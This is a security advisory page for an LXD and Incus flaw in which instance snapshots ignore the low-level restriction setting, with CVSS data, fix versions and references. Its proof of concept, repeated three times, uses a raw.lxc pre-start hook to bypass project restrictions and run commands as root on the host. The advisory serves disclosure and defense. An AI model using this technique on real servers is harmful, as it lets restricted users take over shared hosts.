GHSA-47w9-6r3f-938g
LXD has restricted project bypass leading to arbitrary command execution
GHSA-47w9-6r3f-938g is a critical vulnerability (CVSS 9.9) in github.com/canonical/lxd, published November 6, 2026. No source lists public exploit code. Fixed in github.com/canonical/lxd 0.0.0-20260630083100-c5184be310b1.
- Severity
- 9.9 CriticalCVSS 3.1, GitHub Advisories
- Exploit chance
- UnscoredNo EPSS score yet
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
0.0.0-20260630083100-c5184be310b1github.com/canonical/lxd
Description
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Impact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Discussion
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/canonical/lxdGo | before 0.0.0-20260630083100-c5184be310b1 | 0.0.0-20260630083100-c5184be310b1 |
What each source reports
GitHub Advisories Score used 9.9
LXD has restricted project bypass leading to arbitrary command execution
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Impact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
- Record
GHSA-47w9-6r3f-938g- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-862
- Updated
- 2026-11-06
OSV 9.9
LXD has restricted project bypass leading to arbitrary command execution
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Impact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
- Record
GHSA-47w9-6r3f-938g- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-862
- Updated
- 2026-11-06
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, references | OSV | |
| first indexed | GitHub Advisories |
Dates are when Every CVE recorded each change. Upstream dates may differ.
References
github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g
github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
nvd.nist.gov/vuln/detail/CVE-2026-48751
github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49
github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b
github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe